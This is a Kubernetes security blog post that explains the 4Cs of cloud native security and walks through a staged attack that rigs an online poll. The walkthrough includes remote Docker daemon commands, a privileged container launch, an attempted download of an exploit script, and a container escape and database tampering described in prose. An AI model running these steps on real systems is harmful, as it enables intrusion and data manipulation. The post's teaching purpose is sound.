
Picture an online poll where thousands of people vote for their favourite programming language. The results page shows Python running away with it, miles ahead of everything else. The votes look real. The winner doesn't. By the end of this post you'll see exactly how someone could reach into that cluster and rewrite the result, and none of it starts with a clever zero-day.
Topic 3 was the DevOps groundwork. Now I'm moving into the security side properly, and the first thing that made everything click for me was the 4Cs of cloud native security. It's the mental model I keep coming back to, so that's where I want to start before we walk the attack.
The 4Cs of cloud native security
The 4Cs are Cloud, Cluster, Container and Code. Think of them as four layers wrapped around each other. Each layer sits inside the one above it, so the security of the inner layers always depends on the outer ones being solid. Get the outer layer wrong and nothing inside it is safe. Here's how I break each one down.
1. Cloud security
Cloud security focuses on securing the infrastructure that hosts the Kubernetes cluster, whether that's a public cloud, a private cloud, an on-premises data centre or a co-located environment. That infrastructure should be protected with network firewalls and proper access controls.
In the scenario we're about to walk through, that's exactly the layer that failed first. Cluster ports were exposed and could be reached without any restriction. With no firewall rules limiting access, an attacker could connect to the cluster remotely from anywhere.
2. Cluster security
Cluster security focuses on protecting the Kubernetes cluster and its core components from unauthorised access. In our example an attacker gets in through two weaknesses: a publicly exposed Docker daemon and an unsecured Kubernetes Dashboard. The Docker daemon is reachable without proper restrictions, and the Dashboard lacks authentication and authorisation, so anyone can open it.
To harden this layer:
- Secure the Docker daemon by following Kubernetes and Docker security best practices.
- Protect the Kubernetes API server by enforcing strong authentication and role-based access control (RBAC).
- Restrict access to the Kubernetes Dashboard, and never expose it publicly without authentication.
- Apply network policies and secure ingress rules to limit unnecessary access to cluster resources.
3. Container security
Container security focuses on securing the containers running inside the cluster. The problems here are the ones that let an attacker deploy containers with no restrictions, start them in privileged mode (which hands them elevated access to the host), and pull images from anywhere, so untrusted or malicious images can end up running.
The controls that shut this down:
- Allow only container images from trusted and approved registries.
- Prevent containers from running in privileged mode unless it's absolutely necessary.
- Use admission policies to restrict unsafe container configurations.
- Enable container sandboxing for an additional layer of isolation.
- Regularly scan container images for known vulnerabilities before deploying them.
Together these reduce the risk of container compromise, supply chain attacks, and vulnerabilities inside your microservices.
4. Code security
Code security focuses on the applications running inside Kubernetes. Even if the cluster itself is locked down, vulnerable application code can still be exploited, so this layer matters just as much as the rest. A few habits I'd treat as non-negotiable:
- Avoid hardcoding passwords, API keys and other sensitive information in your code.
- Don't store sensitive data in environment variables unless it's properly protected.
- Always encrypt data in transit using TLS.
- Use Kubernetes Secrets together with a dedicated secrets management solution, such as a vault, to store sensitive information securely.
- Enable mutual TLS (mTLS) to encrypt and authenticate communication between pods.
- Regularly review and test application code for security vulnerabilities as part of the development lifecycle.
Keep the four layers in your head, because the attack below is really just each layer failing in turn.
The attack: a poll that lied
Back to that poll. People submit votes through www.polling-demo.com and the live results are shown on www.results-demo.com. Thousands have voted, yet the results page has Python leading by a huge margin over everything else. That gap is the tell. Something is off, and someone went looking.
Reconnaissance and infrastructure discovery
Meet Alex, a security researcher investigating the poll. All Alex has to start with is the two domains, polling-demo.com and results-demo.com. From there the job is figuring out what's underneath. The sites could be hosted on cloud services, virtual machines, physical servers or containers, and built on anything from PHP or Python to Java or WordPress.
A DNS lookup shows both domains resolving to the same IP address, which suggests they're sitting on the same server or infrastructure.
~ ➜ ping polling-demo.com
PING polling-demo.com (203.0.113.10): 56 data bytes
64 bytes from 203.0.113.10: icmp_seq=0 ttl=54 time=24.315 ms
64 bytes from 203.0.113.10: icmp_seq=1 ttl=54 time=24.182 ms
64 bytes from 203.0.113.10: icmp_seq=2 ttl=54 time=24.401 ms
64 bytes from 203.0.113.10: icmp_seq=3 ttl=54 time=24.267 ms
^C
--- polling-demo.com ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 24.182/24.291/24.401/0.080 ms
Next Alex runs a port scan to find exposed services. One result stands out: TCP port 2375 is open, which is commonly the Docker daemon. That's a strong hint the applications are running inside Docker containers.
~ ➜ zsh port-scan.sh 203.0.113.10
Scanning port 21 for ftp ... Fail 🔴
Scanning port 22 for ssh ... Fail 🔴
Scanning port 23 for telnet ... Fail 🔴
Scanning port 25 for smtp ... Fail 🔴
Scanning port 53 for dns ... Fail 🔴
Scanning port 80 for http ... Fail 🔴
Scanning port 110 for pop3 ... Fail 🔴
Scanning port 111 for rpcbind ... Fail 🔴
Scanning port 135 for msrpc ... Fail 🔴
Scanning port 139 for netbios-ssn... Fail 🔴
Scanning port 143 for imap ... Fail 🔴
Scanning port 443 for https ... Fail 🔴
Scanning port 445 for ms-ds ... Fail 🔴
Scanning port 993 for imaps ... Fail 🔴
Scanning port 995 for pop3s ... Fail 🔴
Scanning port 1723 for pptp ... Fail 🔴
Scanning port 2375 for docker ... Success 🟢
Scanning port 3306 for mysql ... Fail 🔴
Scanning port 3389 for ms-wbt ... Fail 🔴
Scanning port 5900 for vnc ... Fail 🔴
~ took 8s
Exploiting the open Docker port
Because the Docker daemon is publicly reachable and asks for no authentication, Alex just connects to it and lists the running containers.
docker -H polling-demo.com ps
The command returns a list of running containers, confirming the daemon can be driven remotely. To learn more about the engine, Alex checks its version.
docker -H polling-demo.com version
Example output:
Client: Docker Engine - Community
Version: 19.03.8
API version: 1.40
Go version: go1.12.17
Git commit: afacb8b
Built: Wed Mar 11 01:21:11 2020
OS/Arch: darwin/amd64
Experimental: false
Server:
Engine:
Version: 19.03.6
API version: 1.40 (minimum version 1.12)
Go version: go1.12.17
Git commit: 369ce74a3c
Built: Thu Dec 10 13:23:49 2020
OS/Arch: linux/amd64
Experimental: false
containerd:
Version:
GitCommit:
runc:
With the daemon confirmed, Alex starts a privileged Ubuntu container. Running in privileged mode gives the container extended access to the host, which can be abused to compromise the underlying system.
docker -H polling-demo.com run --privileged -it ubuntu bash
Once it starts, Alex lands on a root shell inside the container.
root@container:/#
Attempting a container escape with Dirty COW
The container doesn't ship with common utilities like curl or wget, so downloading files directly isn't an option at first.
root@container:/# curl http://example.com/exploit.sh
bash: curl: command not found
root@container:/# wget
bash: wget: command not found
But there are no restrictions on installing packages inside the container. So Alex installs the utility that's needed, pulls down a local privilege escalation exploit, and runs it to escape the container and reach the underlying host.
Host recon and Kubernetes discovery
Now on the host, Alex starts mapping the environment, beginning with the mounted filesystems and system configuration.
root@worker-node:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 50G 18G 30G 38% /
tmpfs 2.0G 0 2.0G 0% /dev/shm
tmpfs 512M 1.5M 510M 1% /run
The hostname gives the game away: this is a Kubernetes worker node.
root@worker-node:/# hostname
worker-node
Listing the running containers reveals several Kubernetes-managed ones (prefixed with k8s). One of them is the Kubernetes Dashboard, exposed through a NodePort on the worker node, which makes it reachable over the network. That's another way in. To confirm how it's exposed, Alex checks the node's NAT rules.
root@worker-node:/# iptables -L -t nat | grep 30080
The output confirms the Dashboard is exposed on NodePort 30080. Opening it in a browser gives full visibility into the cluster: nodes, deployments, pods and namespaces. Left unsecured like this, it leaks sensitive operational detail and widens the attack surface even further.
Database compromise
Digging into the environment variables of the database pod, Alex finds the credentials used to connect to the backend database, and uses them to open a connection. After finding the table that holds the poll results, Alex confirms the votes are recorded correctly, then runs a SQL query to modify the stored data. This is the part that shows how anyone with database access could quietly rewrite application data.
poll_id | vote
-------------+------
001 | Python
002 | Python
003 | Python
004 | Python
005 | Python
...
postgres=#
Once the changes are committed, the results the application shows update to match. That's the whole point: compromising the Kubernetes environment ends in manipulation of the application's own data. The rigged poll wasn't a bug in the voting code. It was every layer of the 4Cs failing in sequence.
Where this goes next
What gets me about this one is that no single step is exotic. An open port, a container with too much power, a dashboard with no lock on the door, credentials sitting in plain environment variables. Chain those small weaknesses together and you own the whole environment. That's usually how it goes in the real world too.
In the next posts I want to pull each of these steps apart on its own: why it worked, what the defender should have seen, and the specific controls that would have broken the chain. If you spot something here I've got wrong or would frame differently, tell me, I'm still deep in this and learning as I go. If it was useful, connect with me on LinkedIn and let me know which step you want broken down first.
FAQ
What are the 4Cs of cloud native security?
Cloud, Cluster, Container and Code: four layers that wrap around each other. Each layer only stays secure if the one outside it is too, so you have to think about all four rather than just hardening the app.
How does a container escape actually happen?
Usually through something left open, like an exposed Docker socket or an over-privileged container. An attacker who lands in the container abuses that to reach the host, then the wider cluster. The chain matters more than any single bug.
Where should I start securing a Kubernetes cluster?
From the outside in. Lock down the cloud and network first, then the cluster settings, then container privileges, then the code. Most real breaches start with something exposed that never needed to be.
Related reading
- Topic 5: CIS benchmarks and kube-bench (score it with kube-bench)
- Topic 6: Security primitives and authentication (authentication and identities)
- Topic 9: Authorization and RBAC (who is allowed to do what)
- Browse the whole Kubernetes Journey